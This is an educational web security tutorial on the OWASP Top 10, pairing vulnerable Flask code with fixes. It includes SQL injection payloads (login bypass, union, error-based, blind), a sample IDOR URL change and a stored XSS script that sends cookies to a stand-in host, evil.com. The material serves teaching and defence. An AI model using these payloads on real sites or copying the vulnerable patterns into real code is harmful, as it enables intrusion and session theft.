The OWASP Top 10 is the industry-standard awareness document for web application security. Published by the Open Web Application Security Project, it represents the most critical security risks faced by web applications today. Understanding these vulnerabilities — and how to defend against them — is foundational knowledge for every CS and IT professional.
What Is OWASP?
The Open Web Application Security Project (OWASP) is a non-profit foundation that works to improve software security. Their Top 10 list is updated periodically (latest: 2021) and is widely adopted by security teams, auditors, and regulatory bodies.
The OWASP Top 10 (2021)
| Rank | Category | Risk Level |
|---|---|---|
| A01 | Broken Access Control | 🔴 Critical |
| A02 | Cryptographic Failures | 🔴 Critical |
| A03 | Injection (SQLi, XSS) | 🔴 Critical |
| A04 | Insecure Design | 🟠 High |
| A05 | Security Misconfiguration | 🟠 High |
| A06 | Vulnerable Components | 🟠 High |
| A07 | Auth & Session Failures | 🟠 High |
| A08 | Software Integrity Failures | 🟡 Medium |
| A09 | Logging & Monitoring Failures | 🟡 Medium |
| A10 | Server-Side Request Forgery | 🟡 Medium |
A01: Broken Access Control
The #1 risk — when users can act outside their intended permissions.
Example Attack
# URL: https://example.com/user/profile?id=1001
# Attacker changes id to access another user:
# https://example.com/user/profile?id=1002
Defense
# Flask example — always verify ownership
from flask import session, abort
@app.route('/profile/<int:user_id>')
def get_profile(user_id):
if session.get('user_id') != user_id:
abort(403) # Forbidden — access denied
return render_profile(user_id)
A03: Injection Attacks
SQL Injection (SQLi)
The classic vulnerability: user-supplied input is embedded directly into SQL queries.
# ❌ VULNERABLE — Never do this!
def login_vulnerable(username, password):
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
# Attacker enters: admin' --
# Query becomes: SELECT * FROM users WHERE username='admin' --' AND password='...'
# The -- comments out the password check entirely!
cursor.execute(query)
# ✅ SAFE — Always use parameterized queries
def login_safe(username, password):
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password)) # DB driver handles escaping
Advanced SQLi
-- Union-based extraction
' UNION SELECT username, password, NULL FROM users --
-- Error-based (reveals DB structure)
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
-- Blind boolean-based
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) --
Python SQL Defense
# Using SQLAlchemy ORM (recommended for Python apps)
from sqlalchemy.orm import Session
from models import User
def safe_login(session: Session, username: str, password_hash: str):
user = session.query(User).filter(
User.username == username,
User.password_hash == password_hash
).first()
return user # SQLAlchemy NEVER interpolates raw strings
# Input validation layer
import re
def validate_username(username: str) -> bool:
pattern = r'^[a-zA-Z0-9_]{3,30}$'
return bool(re.match(pattern, username))
A03: Cross-Site Scripting (XSS)
XSS allows attackers to inject malicious scripts into pages viewed by other users.
Types of XSS
Reflected XSS → Payload in URL parameter, reflected in HTML response
Stored XSS → Payload saved to database, served to ALL users
DOM-based XSS → Payload executed via JavaScript DOM manipulation
Example Attack
<!-- Attacker posts this comment to a blog: -->
Great article! <script>
document.cookie = 'stolen=' + document.cookie;
fetch('https://evil.com/collect?c=' + document.cookie);
</script>
<!-- When any user views the comment, their cookies are stolen -->
Defense: Proper Output Encoding
# ❌ Vulnerable Flask route
@app.route('/search')
def search():
q = request.args.get('q', '')
return f"<p>Results for: {q}</p>" # XSS here!
# ✅ Safe — Flask auto-escapes Jinja2 templates
@app.route('/search')
def search():
q = request.args.get('q', '')
return render_template('search.html', query=q)
# In template: <p>Results for: {{ query }}</p> ← auto-escaped
# ✅ Manual HTML escaping
from markupsafe import escape
@app.route('/search')
def search():
q = escape(request.args.get('q', ''))
return f"<p>Results for: {q}</p>"
Content Security Policy (CSP)
# Add CSP headers to prevent inline script execution
from flask import after_request
@app.after_request
def add_security_headers(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; " # No inline scripts!
"style-src 'self' https://fonts.googleapis.com; "
"img-src 'self' data:;"
)
response.headers['X-XSS-Protection'] = '1; mode=block'
response.headers['X-Frame-Options'] = 'DENY'
return response
A02: Cryptographic Failures
Never Store Plain-text Passwords
# ❌ CRITICALLY WRONG
user.password = "userpassword123" # Plain text!
# ❌ Still wrong — MD5 and SHA1 are broken
import hashlib
user.password = hashlib.md5(password.encode()).hexdigest()
# ✅ CORRECT — Use bcrypt or Argon2
from passlib.hash import bcrypt, argon2
# bcrypt (well-tested, widely supported)
hashed = bcrypt.hash("userpassword123")
bcrypt.verify("userpassword123", hashed) # True
# Argon2 (winner of Password Hashing Competition 2015)
hashed = argon2.hash("userpassword123")
argon2.verify("userpassword123", hashed) # True
Secure Token Generation
import secrets
# ❌ Weak random token (predictable)
import random
token = str(random.randint(100000, 999999))
# ✅ Cryptographically secure token
token = secrets.token_urlsafe(32) # 256-bit token
reset_url = f"https://example.com/reset?token={token}"
A05: Security Misconfiguration
# ❌ Development settings in production
DEBUG = True # Exposes stack traces!
SECRET_KEY = "dev-key" # Predictable session tokens!
# ✅ Production configuration
import os
DEBUG = os.environ.get('DEBUG', 'False').lower() == 'true'
SECRET_KEY = os.environ['SECRET_KEY'] # MUST be set in environment
# ✅ Disable directory listing in Nginx:
# autoindex off;
# ✅ Remove server version headers:
# server_tokens off;
🤖 Interactive AI Widget: XSS & SQLi Sanitizer Sandbox
Type any input below and see how different sanitization techniques protect against injection attacks — in real time.
Security Checklist for Every Web App
Authentication & Sessions
✅ Use bcrypt/Argon2 for password hashing
✅ Implement account lockout after N failed attempts
✅ Use secure, HttpOnly, SameSite cookies
✅ Invalidate sessions on logout
Input Handling
✅ Validate ALL user input server-side
✅ Use parameterized queries for ALL DB operations
✅ HTML-encode all dynamic content in templates
✅ Implement strict Content Security Policy headers
Infrastructure
✅ Keep all dependencies updated (check SNYK, Dependabot)
✅ Disable directory listing and server version headers
✅ Use HTTPS everywhere (HSTS header)
✅ Implement rate limiting on all API endpoints
Monitoring
✅ Log all authentication attempts (success & failure)
✅ Alert on unusual access patterns
✅ Perform regular penetration tests
Practice Exercises
- Build a simple Flask login form and deliberately introduce an SQLi vulnerability. Then fix it with parameterized queries.
- Set up a local XSS playground and test how different browsers handle CSP violations.
- Use OWASP ZAP (free tool) to scan your local web app and review the report.
- Implement CSRF protection in a Flask form using
flask-wtf.
📚 Recommended Reading: The Web Application Hacker’s Handbook by Stuttard & Pinto. OWASP Cheat Sheet Series: https://cheatsheetseries.owasp.org